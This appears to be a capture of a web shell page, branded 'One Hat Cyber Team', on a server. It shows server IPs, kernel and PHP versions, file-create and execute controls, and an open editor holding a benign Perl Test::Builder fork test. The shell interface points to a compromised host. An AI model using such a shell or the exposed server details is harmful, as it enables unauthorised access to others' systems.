One Hat Cyber Team
Your IP :
216.73.216.240
Server IP :
162.240.106.28
Server :
Linux server.ganesand.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
Server Software :
Apache
PHP Version :
7.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
perl-Test-Simple-0.98
/
t
/
Builder
/
Edit File:
fork_with_new_stdout.t
#!perl -w use strict; use warnings; use IO::Pipe; use Test::Builder; use Config; my $b = Test::Builder->new; $b->reset; my $Can_Fork = $Config{d_fork} || (($^O eq 'MSWin32' || $^O eq 'NetWare') and $Config{useithreads} and $Config{ccflags} =~ /-DPERL_IMPLICIT_SYS/ ); if( !$Can_Fork ) { $b->plan('skip_all' => "This system cannot fork"); } else { $b->plan('tests' => 2); } my $pipe = IO::Pipe->new; if ( my $pid = fork ) { $pipe->reader; $b->ok((<$pipe> =~ /FROM CHILD: ok 1/), "ok 1 from child"); $b->ok((<$pipe> =~ /FROM CHILD: 1\.\.1/), "1..1 from child"); waitpid($pid, 0); } else { $pipe->writer; my $pipe_fd = $pipe->fileno; close STDOUT; open(STDOUT, ">&$pipe_fd"); my $b = Test::Builder->new; $b->reset; $b->no_plan; $b->ok(1); } =pod #actual 1..2 ok 1 1..1 ok 1 ok 2 #expected 1..2 ok 1 ok 2 =cut
Simpan